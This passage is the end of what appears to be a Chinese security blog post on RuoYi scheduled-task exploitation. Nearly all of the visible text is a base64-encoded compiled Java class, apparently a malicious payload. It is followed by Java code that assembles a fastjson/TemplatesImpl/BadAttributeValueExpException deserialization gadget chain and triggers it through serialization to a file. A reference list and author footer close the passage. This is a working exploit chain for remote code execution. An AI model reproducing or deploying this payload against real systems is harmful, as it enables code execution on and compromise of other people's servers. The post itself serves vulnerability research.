gENALABAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBFgEXCgENARgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HARoBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAR0BHgoAXwEfAQANZ2V0U3VwZXJjbGFzcwwBIQB8CgBfASIKARsAGwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAFpAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwEpAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMATMBNAoAXwE1AQAHZ2V0TmFtZQwBNwAGCgCtATgBAAZlcXVhbHMMAToAxwoAFgE7AQARZ2V0UGFyYW1ldGVyVHlwZXMBABQoKVtMamF2YS9sYW5nL0NsYXNzOwwBPQE+CgCtAT8KAIgAGwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwFCAQAKZ2V0TWVzc2FnZQwBRAAGCgCKAUUKAUMAGwAhAAIABAAAAAAADgABAAUABgABAAcAAAAtAAEAAQAAAAMSDbAAAAACAAgAAAAGAAEAAAAQAAkAAAAMAAEAAAADAAoACwAAAAEADgAGAAEABwAAABAAAQABAAAABBMAELAAAAAAAAEAEQAGAAIAEgAAAAQAAQAUAAcAAAAXAAMAAQAAAAu7ABZZEwAYtwAcsAAAAAAAAQAZAB0AAgAHAAAAYwADAAMAAAAVKrcAIiq2ACZMKrcAKU0qKyy2AC2xAAAAAgAIAAAAFgAFAAAAH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");

byte[][] bytes = new byte[][]{decode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "123");
setFieldValue(templates, "_class", null);

JSONArray objects = new JSONArray();
objects.add(templates);


BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",objects);

HashMap hashMap = new HashMap();
hashMap.put(templates,bad);


ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./fj.bin"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./fj.bin"));
inputStream.readObject();
}
}

参考

https://forum.butian.net/share/2796

https://github.com/SpringKill-team/SecurityInspector


ruoyi定时任务浅析
https://unam4.github.io/2024/10/26/ruoyi定时任务浅析/
作者
unam4
发布于
2024年10月26日
许可协议